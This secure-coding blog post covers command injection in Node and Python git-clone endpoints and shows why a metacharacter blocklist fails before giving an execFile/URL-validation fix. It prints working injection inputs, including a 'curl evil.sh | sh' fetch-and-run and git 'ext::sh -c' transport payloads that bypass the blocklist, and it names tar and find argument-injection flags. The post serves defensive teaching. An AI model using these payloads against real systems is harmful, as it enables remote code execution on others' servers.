Command injection happens when user input becomes part of a string that gets handed to a shell. Node's exec() does exactly that: it spawns /bin/sh -c and passes your whole string to it.

// ❌ CWE-78: repoUrl reaches /bin/sh
import { exec } from 'node:child_process';

app.post('/api/import', (req, res) => {
  const { repoUrl } = req.body;
  exec(`git clone ${repoUrl} /tmp/import`, (err, stdout) => {
    if (err) return res.status(500).json({ error: 'clone failed' });
    res.json({ ok: true, stdout });
  });
});

Post https://github.com/a/b.git; curl evil.sh | sh and the shell sees two commands. The clone runs, then so does theirs. Nothing clever required.

The Fix Cursor Writes

Point at that line and ask for a fix, and you get input sanitization. A regex, a list of dangerous characters, a 400 response.

// ❌ still vulnerable
const BLOCKED = /[;&|`$(){}<>\n]/;

app.post('/api/import', (req, res) => {
  const { repoUrl } = req.body;
  if (BLOCKED.test(repoUrl)) {
    return res.status(400).json({ error: 'invalid repo url' });
  }
  exec(`git clone ${repoUrl} /tmp/import`, (err, stdout) => { /* ... */ });
});

This looks like security. It reads like security. It blocks the payload I just showed you.

Now send this:

ext::sh -c curl% http://evil.sh|sh

Or without the pipe, since the pipe is blocked:

ext::sh -c "touch /tmp/pwned"

No semicolon. No pipe. No backtick, no $, no parens. It passes the blocklist clean, and git runs sh -c "touch /tmp/pwned" on your machine.

The reason is that ext:: is a git transport. It is documented behaviour: git hands the rest of the string to a shell and treats that process's stdio as the remote. Git's protocol.ext.allow setting defaults to user, which permits it for commands the user runs directly. Your clone call is a direct invocation. The transport is allowed.

The blocklist was never the boundary. The boundary was "does attacker input control an argument to a program that interprets arguments," and it still does.

Why This Keeps Happening

AI editors optimize for the shape of a fix, not the boundary the fix has to hold. A blocklist has the visual signature of secure code: a constant, a validation branch, an early return. It pattern-matches to thousands of examples in the training data where that shape was the accepted answer.

There is a deeper reason too. Blocklist sanitization is what most Stack Overflow answers about command injection actually say, because those answers are old and because "escape the input" feels like a general solution. It is not a general solution. It is a bet that you enumerated every dangerous character, for every program you might ever invoke, forever. You will lose that bet to a tool that takes flags.

The same class bites tar via --checkpoint-action=exec=, curl via -o writing to arbitrary paths, and find via -exec. None of those need shell syntax. They just need to be an argument.

The Fix

Do not build a shell command string at all. Use execFile with an argv array so there is no shell to inject into, then validate the input as a URL rather than as text, then use -- so a value starting with a hyphen cannot become a flag.

// ✅
import { execFile } from 'node:child_process';

const ALLOWED_HOSTS = new Set(['github.com', 'gitlab.com']);

function parseRepoUrl(raw) {
  let url;
  try {
    url = new URL(raw);
  } catch {
    return null;
  }
  if (url.protocol !== 'https:') return null;
  if (!ALLOWED_HOSTS.has(url.hostname)) return null;
  if (url.username || url.password) return null;
  return url.toString();
}

app.post('/api/import', (req, res) => {
  const repoUrl = parseRepoUrl(req.body.repoUrl);
  if (!repoUrl) return res.status(400).json({ error: 'invalid repo url' });

  execFile(
    'git',
    ['clone', '--depth', '1', '--', repoUrl, '/tmp/import'],
    { timeout: 30_000 },
    (err) => {
      if (err) return res.status(500).json({ error: 'clone failed' });
      res.json({ ok: true });
    }
  );
});

Three separate things are doing work there, and you want all three:

execFile with an array means no /bin/sh. Semicolons and pipes are just characters in a string now.
new URL() plus a protocol check kills ext::, file://, ssh:// and every other transport in one move. This is the line that actually stops the attack above.
-- stops git parsing anything after it as an option, so a value like --upload-pack=... lands as a repo name instead of a flag.

Python is the same shape. The trap there is shell=True, which is the direct equivalent of exec():

# ❌
subprocess.run(f"git clone {repo_url} /tmp/import", shell=True)

# ✅
subprocess.run(
    ["git", "clone", "--depth", "1", "--", repo_url, "/tmp/import"],
    shell=False, timeout=30, check=True,
)

One more thing worth doing: run the clone as a low-privilege user in a container with no outbound network except your allowlisted hosts. Defence in depth matters here because the failure mode is code execution, not data disclosure.

FAQ

Q: Is execFile safe from command injection?
A: execFile removes the shell, so shell metacharacters cannot inject commands. It does not stop argument injection, where input starting with a hyphen is parsed as a flag by the program you are calling. Validate the input and pass -- before user-controlled values.

Q: Why is sanitizing shell metacharacters not enough to stop CWE-78?
A: Because many command-line tools execute code through their own flags and transports, with no shell syntax involved. git clone ext::sh -c ..., tar --checkpoint-action=exec=... and find -exec all run commands using ordinary characters that a metacharacter blocklist allows through.

Q: How do I check if AI-generated code in my project has command injection?
A: Grep for exec(, execSync(, shell=True and os.system( and check whether any argument is built from a request body, query string, filename or environment value. A SAST scanner such as semgrep flags this pattern automatically with its default rulesets.

I have been running SafeWeave for this. It hooks into Cursor and Claude Code as an MCP server and flags exec with interpolated input before I move on, along with the blocklist "fix" that follows it. Even a basic pre-commit hook with semgrep and gitleaks will catch most of what is in this post. The important thing is catching it while the code is still in front of you, whatever tool you use.